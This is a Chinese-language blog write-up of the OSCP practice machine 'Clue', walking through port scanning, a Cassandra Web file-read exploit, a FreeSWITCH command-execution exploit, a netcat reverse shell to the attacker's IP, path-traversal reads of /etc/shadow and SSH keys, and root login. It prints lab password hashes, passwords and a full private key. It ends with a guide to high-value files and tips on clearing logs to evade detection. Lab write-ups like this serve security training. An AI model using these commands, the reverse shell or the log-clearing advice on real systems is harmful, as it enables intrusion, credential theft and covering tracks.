Home
avatar

静静

OSCP官方靶场 Clue WP

一点字 0分钟 渗透测试

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

官网打开靶场

信息收集

# Kali攻击机地址
192.168.45.187
# 靶机地址
192.168.133.240

扫描端口和目录

# 设置MTU
sudo ip link set dev tun0 mtu 1250
ip link show tun0
# 扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.133.240 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.133.240
sudo nmap --script=vuln -p$ports -Pn 192.168.133.240
# 扫描框架
whatweb http://192.168.133.240:3000/
# 扫描目录
gobuster dir -e -u http://192.168.133.240:3000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -t 25 --exclude-length 3837

直接扫目录会因为长度报错，修改了一下命令

扫描结果如下：

┌──(kali㉿kali)-[~]
└─$ echo $ports
22,80,139,445,3000

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.133.240
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 03:47 EDT
Nmap scan report for 192.168.133.240
Host is up (0.20s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.38
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http        Thin httpd
|_http-title: Cassandra Web
|_http-server-header: thin
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: clue
|   NetBIOS computer name: CLUE\x00
|   Domain name: pg
|   FQDN: clue.pg
|_  System time: 2025-08-22T03:47:55-04:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2025-08-22T07:47:54
|_  start_date: N/A
|_clock-skew: mean: 1h20m03s, deviation: 2h18m40s, median: 0s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.87 seconds

┌──(kali㉿kali)-[~]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.133.240
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 03:50 EDT
Nmap scan report for 192.168.133.240
Host is up (0.27s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.'
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3000/tcp open  ppp

Host script results:
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 119.91 seconds

┌──(kali㉿kali)-[~]
└─$ whatweb http://192.168.133.240:3000/
http://192.168.133.240:3000/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[thin], IP[192.168.133.240], Script, Title[Cassandra Web], X-UA-Compatible[IE=edge]

Cassandra 远程文件读取漏洞

这里Nmap的扫描结果提示了打开80端口提示forbiden，打开3000端口是一个数据库管理的界面Cassandra Web。然后139和445端口是smb协议的端口，还扫出来了一些基本信息，smb协议有很多漏洞，但是这个扫描的结果也提示了 smb-vuln-ms10-061 和 smb-vuln-ms10-054这两个最好用的漏洞不存在。扫描3000端口的目录没有发现有用的信息。

搜索3000端口对应的框架是否有漏洞，发现一个远程文件读取漏洞。

searchsploit Cassandra
searchsploit -m linux/webapps/49362.py

python 49362.py 192.168.133.240 /etc/passwd
python 49362.py 192.168.133.240 /proc/self/cmdline
python 49362.py 192.168.133.240 /etc/ssh/sshd_config

[!success] 用户密码 cassie SecondBiteTheApple330

但是ssh登录失败，也不是另一个用户的密码，还要继续搜索其他的配置文件。

freeswitch命令执行漏洞

官方完整的扫描中是存在8021端口的，这里是扫描漏掉了，所以最好还是用官方给的web kali扫描全部的端口一次，获得最全的端口。一下小节是官方给的Workthrough中的命令

# 让我们使用 `smbclient` 来检查一下。
smbclient -N -L 192.168.133.240 
# `backup` 分享很有趣，让我们登录看看里面有什么
smbclient -N //192.168.133.240/backup
# 目录名称
curl -I http://192.168.133.240/backup/freeswitch
curl -I http:/192.168.133.240/backup/freeswitch/etc
# 后面官方尝试了上传文件，但是失败，密码错误
mkdir backup
sudo mount -t cifs //192.168.133.240/backup backup/ -o guest
cd backup/
# 挂载目录后找密码
find . -type f -name "*.xml" -exec grep -nH password {} + | wc -l
find . -type f -name "*.xml" -exec grep -nH password {} + | grep socket

挂上了，但是找到的是默认密码，搜索最新的配置文件会存在那个在哪里。到下面这个网站找到密码会存放在哪里的配置文件里。 https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Configuration/Default-Configuration_6587388/#confautoload_configs 其实相对的只要把本地目录换远端目录就行，远端目录用的一定是现在在用的密码。

python 49362.py 192.168.133.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml

[!success] 端口和密码 8021 StrongClueConEight021

searchsploit freeswitch
searchsploit -m  windows/remote/47799.txt
mv 47799.txt 47799.py
sed -i -E "s/ClueCon/StrongClueConEight021/g" 47799.py
python 47799.py 192.168.133.240 whoami
python 47799.py 192.168.133.240 ls
python 47799.py 192.168.133.240 "ls /home"

反弹Shell

在cassie文件夹下找到一个id_rsa密钥，但是freeswitch账户没法读，现在可以执行命令的话，把shell弹回来再说。

rlwrap -cAr nc -nlvp 3000
python 47799.py 192.168.133.240  "nc -nv 192.168.45.187 3000 -e /bin/bash"
python3 -c 'import pty;pty.spawn("/bin/bash")'

现在就可以用之前ssh登录失败的cassise账户直接su切换，因为ssh配置文件里写了只允许root和anthony账户登录，但是这两个我们又不知道密码。 这个下面的id_rsa利用失败，不知道是谁的ssh密钥文件，尝试了两个账户都失败。然后发现cassise用户可以用sudo的权限有/usr/local/bin/cassandra-web

内网信息收集

# 简单来说，这个命令就是用指定的配置启动了 Cassandra Web 管理工具，让用户可以通过 Web 界面管理 Cassandra 数据库
# `cassandra - web`工具将以指定的用户名和密码启动，并监听在`0.0.0.0:4444`上，允许远程连接访问其 Web 界面来管理 Cassandra 数据库
sudo /usr/local/bin/cassandra-web -B 0.0.0.0:4444 -u cassie -p SecondBiteTheApple330


# 另一个shell运行下面命令
# 读取敏感信息
curl --path-as-is localhost:4444/../../../../../../../../etc/shadow
curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.bash_history
curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.ssh/id_rsa

这样就能得到的密钥文件了，而且这个密钥文件还放到了root文件夹下，也就是说能直接用这个密钥登录root。

# 得到密码文件，但是这个长度一般是爆破不开的
cassie:$6$/WeFDwP1CNIN34/z$9woKSLSZhgHw1mX3ou90wnR.i5LHEfeyfHbxu7nYmaZILVrbhHrSeHNGqV0WesuQWGIL7DHEwHKOLK6UX79DI0:19209:0:99999:7:::
freeswitch:!:19209::::::
anthony:$6$01NV0gAhVLOnUHb0$byLv3N95fqVvhut9rbsrYOVzi8QseWfkFl7.VDQ.26a.0IkEVR2TDXoTv/KCMLjUOQZMMpkTUdC3WIyqSWQ.Y1:19209:0:99999:7:::
# 得到密钥文件
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJe
d19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdM
jWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2m
B6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhq
gBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/
DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9r
acIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XE
QIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBws
mv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshP
HUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8
UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9Y
etSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6M
mGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+i
CbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+
0hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fG
Y2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2C
gX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCG
krIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9b
yyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/Ys
kBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvU
DEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknN
Q2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTU
iw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj
4oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----

提权root

然后在kali中复制这个密钥，然后直接用密钥登录即可。

cat > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@192.168.133.240

这里不知道为什么只能root登录而不是Anthony登录，按道理来说应该都能登录的。 找到提权后的flag 这里提示smb服务开启，但是没什么用 实在是找不到第一个local那个flag在哪里，看了一下官方提示 直接find找吧，OSCP的flag命名很规范，直接找名字就行。

find / -type f -name "local.txt" -print 2>/dev/null
cat /var/lib/freeswitch/local.txt

总结

入侵路径示意图

flowchart TD
    %% 资产列表
    A[Kali攻击机 <br> 192.168.45.187]
    B[靶机       <br> 192.168.133.240]
    C[cassie账户密码]
    D[freeswitch的webshell]
    E[切cassie账户]
    F[root密钥]

    %% 路径关系
    A-->|扫描|B
    B-->|Cassandra远程文件读取漏洞|C
    B-->|freeswitch命令执行漏洞|D
    D-->E
    C-->E
    E-->|Cassandra本地文件读取|F
    

	%% 线型：---（实线）、-.->（虚线）、==>（粗箭头）
	%% -->|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
    %% 样式定义
    classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
    classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
    classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
    %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

    %% 应用样式
    class A attack;
    class B,C,D public;
    class E,F internal;

入侵时间表

gantt
    title 攻击时间表
    dateFormat  YYYY-MM-DD HH:mm
    axisFormat  %H:%M
    
    section 侦察阶段
    目标扫描           :a1, 2025-08-22 15:40, 2025-08-22 16:40
    漏洞识别           :a2, after a1, 20m
    
    section 攻击阶段
    初始访问           :b1, after a2, 20m
    权限提升           :crit,b2, after b1, 40m
    
    section 后渗透阶段
    数据窃取           :c1, after b2, 5m

有哪些容易泄露配置信息的文件？

在利用文件读取漏洞进行渗透测试时，优先读取以下高价值文件可快速获取关键信息，推动后续攻击链的构建。根据漏洞利用目标和系统环境，推荐按优先级读取以下文件：

🔍 ​​一、系统关键文件（Linux/Unix）​​

  1. ​​/etc/passwd​​
    • ​​价值​​：泄露所有用户账户信息（UID/GID、Shell类型），为暴力破解或权限提升提供目标列表。
    • ​​后续利用​​：结合弱口令攻击或 suid程序提权。
  2. ​​/etc/shadow​​
    • ​​价值​​：存储用户密码哈希（需root权限读取），破解后可获取系统权限。
    • ​​注意​​：若漏洞权限不足，需结合其他漏洞（如路径遍历）尝试读取。
  3. ​​/etc/group​​
    • ​​价值​​：获取用户组信息，识别高权限组（如 sudo、docker），辅助横向移动。

💻 ​​二、应用敏感文件​​

  1. ​​Web服务器配置​​
    • ​​Nginx/Apache​​：
      • etc/nginx/nginx.conf、etc/httpd/conf/httpd.conf：获取虚拟主机配置、反向代理规则，发现隐藏服务或内部网络信息。
    • ​​数据库凭据​​：
      • 如 WEB-INF/web.xml（Java Web应用）、config.php（PHP应用）：泄露数据库连接字符串，直接访问数据库。
  2. ​​环境配置文件​​
    • ​​.env文件​​：存储API密钥、加密密钥等敏感信息，常见于Node.js/Python应用。
    • ​​Kubernetes配置​​：
      • /var/run/secrets/kubernetes.io/serviceaccount/token：获取Service Account Token，接管K8s集群。

📂 ​​三、动态信息与日志文件​​

  1. ​​/proc/self/environ​​
    • ​​价值​​：暴露进程环境变量（如 PATH、SECRET_KEY），可能包含硬编码凭据或调试信息。
  2. ​​/proc/self/cmdline​​
    • ​​价值​​：揭示当前进程启动命令及参数，辅助识别应用框架或配置路径。
  3. ​​系统日志​​
    • /var/log/auth.log（Linux）：查看SSH登录记录，定位管理员IP或爆破痕迹。
    • C:\Windows\System32\winevt\Logs\Security.evtx（Windows）：分析安全事件日志。

⚙️ ​​四、特殊路径与内存文件​​

  1. ​​临时文件与缓存​​
    • /tmp/、/dev/shm/：查找上传的恶意脚本或缓存数据（如Session文件）。
  2. ​​内核与内存映射​​
    • /proc/kallsyms（需root）：泄露内核函数地址，绕过ASLR防护。
    • /dev/mem：直接访问物理内存，提取加密密钥（需高权限）。

🎯 ​​五、针对Java应用的专项读取​

​

  1. ​​WEB-INF/classes/目录​​
    • ​​价值​​：读取编译后的 .class文件，反编译获取业务逻辑漏洞（如硬编码密钥）。
  2. ​​WEB-INF/web.xml​​
    • ​​价值​​：解析Servlet映射、过滤器配置，发现未授权访问点或安全绕过路径。
  3. ​​JAR/WAR 文件​​
    • 如 lib/application.jar：解压后分析依赖库漏洞（如Log4j）。

🛡️ ​​防御规避与注意事项​​

  • ​​合法性​​：仅在授权范围内测试，避免读取用户隐私数据。
  • ​​隐蔽性​​：
    • 清理日志（如覆盖 /var/log/apache2/access.log）。
    • 避免频繁请求，触发WAF/IDS告警。
  • ​​工具辅助​​：
    • 使用 jd-gui反编译 .class文件。
    • 通过 pwntools自动化解析内存偏移。

💎 ​​总结：优先级策略​​

  1. ​​快速突破​​：/etc/passwd→ /proc/self/environ→ 应用配置文件。
  2. ​​深度渗透​​：数据库凭据 → 日志文件 → 内核/内存文件。
  3. ​​源码反制​​：Java .class文件 → 依赖库扫描 → 反编译分析。

find命令的妙用

要高效查找 local.txt文件，需优化 find /命令以避免全盘扫描并提升定位精度。以下是针对性优化方案及命令：

🔍 ​​优化后的查找命令​​

find / -type f -name "local.txt" -print 2>/dev/null

​​关键优化点​​：

  1. ​​限定文件类型​​：-type f仅搜索普通文件，跳过目录、符号链接等无关项。
  2. ​​精准文件名匹配​​：-name "local.txt"严格匹配目标文件名，避免模糊搜索的开销。
  3. ​​抑制错误输出​​：2>/dev/null隐藏权限不足等报错，减少终端干扰。

⚙️ ​​进阶场景优化​​

1. ​​限制搜索深度（减少扫描范围）​​

find / -maxdepth 3 -type f -name "local.txt" 2>/dev/null
  • ​​适用场景​​：已知文件位于顶层目录（如 /etc/、/tmp/）时，通过 -maxdepth 3限制子目录层级，速度提升显著。

2. ​​组合条件搜索（时间/大小过滤）​​

# 查找最近7天内修改过的 local.txt
find / -type f -name "local.txt" -mtime -7 2>/dev/null

# 查找大于1KB的 local.txt
find / -type f -name "local.txt" -size +1k 2>/dev/null
  • ​​适用场景​​：
    • -mtime -7：文件近期被修改过（如渗透测试中的后门文件）。
    • -size +1k：排除空文件或小体积缓存文件。

3. ​​权限/所有者过滤​​

# 查找属主为 root 的 local.txt
find / -type f -name "local.txt" -user root 2>/dev/null

# 查找权限为644的 local.txt
find / -type f -name "local.txt" -perm 644 2>/dev/null
  • ​​适用场景​​：快速定位系统关键文件或配置。

💡 ​​替代方案（更高效率）​​

使用 locate命令（需先更新数据库）：

sudo updatedb     # 更新文件数据库（需root权限）
locate local.txt  # 秒级检索（依赖定期更新的数据库）
  • ​​优势​​：比 find快数十倍，适合频繁搜索固定文件。
  • ​​注意​​：新建文件需等待数据库更新（默认每日自动更新）。

⚠️ ​​注意事项​​

  1. ​​权限问题​​：搜索系统目录（如 /etc/、/root/）需 sudo权限，否则结果不全。
  2. ​​性能影响​​：全盘扫描（find /）可能加重磁盘负载，建议在非高峰时段执行。
  3. ​​精确路径​​：若已知大致路径（如 /var/log/），直接指定路径而非根目录 /，效率更高。

📊 ​​命令执行效果对比​​

​​方法​​​​速度​​​​精度​​​​适用场景​​
find / -name "local.txt"慢高全盘精准搜索
find / -maxdepth 3 ...中中限定深度快速扫描
locate local.txt极快依赖更新高频检索已知文件

为什么root可以登录成功而Anthony用户无法用密钥登录？

根据 .bash_history记录和测试现象，结合 SSH 密钥认证机制，anthony用户连接失败而 root用户成功的原因可能如下：

⚠️ ​​核心原因分析​​

  1. ​​密钥文件权限问题（anthony 用户）​​
    • SSH 要求私钥权限必须为 600，若权限过宽（如 644）会导致客户端拒绝使用私钥。
    • 检查 anthony 的私钥权限： 
      ls -l ~/.ssh/id_rsa  # 应为 -rw------- (600)
      若权限不符，需修复： 
      chmod 600 ~/.ssh/id_rsa
  2. ​​.ssh目录或 authorized_keys权限问题（服务器端）​​
    • anthony用户的 .ssh目录权限需为 700，authorized_keys文件权限需为 600。
    • 若权限错误（如 authorized_keys为 644），服务器会拒绝认证： 
      # 在服务器上检查 anthony 用户的配置
chmod 700 /home/anthony/.ssh
chmod 600 /home/anthony/.ssh/authorized_keys
  3. ​​authorized_keys内容或路径错误​​
    • cp .ssh/id_rsa.pub .ssh/authorized_keys可能未正确覆盖文件（如文件路径错误或内容截断）。
    • 验证 authorized_keys内容是否包含完整公钥： 
      cat /home/anthony/.ssh/authorized_keys
  4. ​​SSH 服务配置限制​​
    • 服务器可能禁止 anthony用户使用密钥登录（如 sshd_config中设置了 DenyUsers anthony或 PubkeyAuthentication no）。
    • 检查服务器配置： 
      grep -E "DenyUsers|PubkeyAuthentication" /etc/ssh/sshd_config
# 确保包含： PubkeyAuthentication yes
  5. ​​用户目录所有权或权限问题​​
    • anthony用户目录权限过宽（如 /home/anthony权限为 777）会导致 SSH 拒绝认证。
    • 修复目录权限： 
      chmod 755 /home/anthony  # 必须 ≤755

✅ ​​为何 root用户能成功？​​

  1. ​​root的 authorized_keys配置正确​​
    • sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys命令直接将公钥复制到 root用户，且 root的 .ssh目录通常自动满足权限要求（700）。
  2. ​​root用户不受某些限制​​
    • sshd_config可能未限制 root登录（如 PermitRootLogin yes），而 anthony用户可能被其他规则阻止。

🔧 ​​解决方案​​

  1. ​​修复 anthony 用户的权限​​

    • ​​客户端​​（本地）： 
      chmod 600 ~/.ssh/id_rsa
    • ​​服务器端​​（以 anthony登录或通过 root修复）： 
      chmod 700 /home/anthony/.ssh
chmod 600 /home/anthony/.ssh/authorized_keys
chmod 755 /home/anthony  # 确保目录权限安全

  2. ​​验证 authorized_keys内容​​

    • 确认公钥完整写入： 
      echo "$(cat ~/.ssh/id_rsa.pub)" > /home/anthony/.ssh/authorized_keys

  3. ​​检查服务器 SSH 配置​​

    • 编辑 /etc/ssh/sshd_config： 
      PubkeyAuthentication yes      # 启用密钥认证
AllowUsers anthony root       # 允许 anthony 和 root 登录
      重启服务生效： 
      sudo systemctl restart sshd

  4. ​​调试连接​​

    • 使用 -vvv参数查看详细错误： 
      ssh -vvv -i id_rsa anthony@192.168.133.240
    • 检查服务器日志： 
      tail -f /var/log/auth.log  # Debian/Ubuntu
tail -f /var/log/secure     # RHEL/CentOS

根据您提供的目录信息和 SSH 密钥认证机制，/home/anthony/.ssh/authorized_keys文件缺失会导致 SSH 公钥登录失败。以下是具体分析和解决方案：

⚠️ ​​无法登录的原因​​

  1. ​​authorized_keys文件缺失​​
    • 该文件是 SSH 服务器验证客户端公钥的核心依据。服务器会检查客户端提供的公钥是否在 authorized_keys中，若文件不存在，则公钥认证自动失败 。
    • 您的目录中仅有 id_rsa.pub（公钥）和 id_rsa（私钥），但未将公钥内容添加到 authorized_keys文件中，导致服务器无法匹配私钥 。
  2. ​​root用户登录成功的原因​​
    • 您此前执行了 sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys，已将公钥正确复制到 root用户的 authorized_keys文件，因此 root可正常登录 。

🔧 ​​解决方案：为 anthony用户创建 authorized_keys​​

步骤 1：创建文件并添加公钥内容

# 进入 anthony 的 .ssh 目录
cd /home/anthony/.ssh

# 创建 authorized_keys 文件并将 id_rsa.pub 内容追加到其中
cat id_rsa.pub >> authorized_keys

步骤 2：设置严格的文件权限

# 设置 authorized_keys 权限为 600（仅所有者可读写）
chmod 600 authorized_keys

# 确保 .ssh 目录权限为 700（仅所有者可访问）
chmod 700 /home/anthony/.ssh
  • ​​权限要求​​：SSH 要求 authorized_keys权限为 600，.ssh目录权限为 700，否则服务器会拒绝认证 。

步骤 3：验证 SSH 配置（可选）

  • 检查 /etc/ssh/sshd_config确保以下配置启用：

    PubkeyAuthentication yes      # 启用公钥认证
AuthorizedKeysFile .ssh/authorized_keys  # 指定公钥文件路径

  • 重启 SSH 服务使配置生效：

    sudo systemctl restart sshd

✅ ​​验证登录​​

完成上述步骤后，尝试重新连接：

ssh -i /path/to/id_rsa anthony@192.168.133.240
  • 若仍失败，可通过调试模式定位问题： 
    ssh -vvv -i /path/to/id_rsa anthony@192.168.133.240

📌 ​​关键注意事项​​

  1. ​​文件完整性​​
    • authorized_keys中公钥需与客户端私钥严格匹配，复制时避免遗漏字符 。
  2. ​​权限安全​​
    • 权限错误是常见失败原因，需确保：
      • authorized_keys→ 600
      • .ssh目录 → 700
      • 私钥 id_rsa→ 600（您已满足）
  3. ​​目录所有权​​
    • 确保 /home/anthony及其子目录所有者是 anthony，否则 SSH 可能拒绝认证： 
      chown -R anthony:anthony /home/anthony

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

渗透测试 OSCP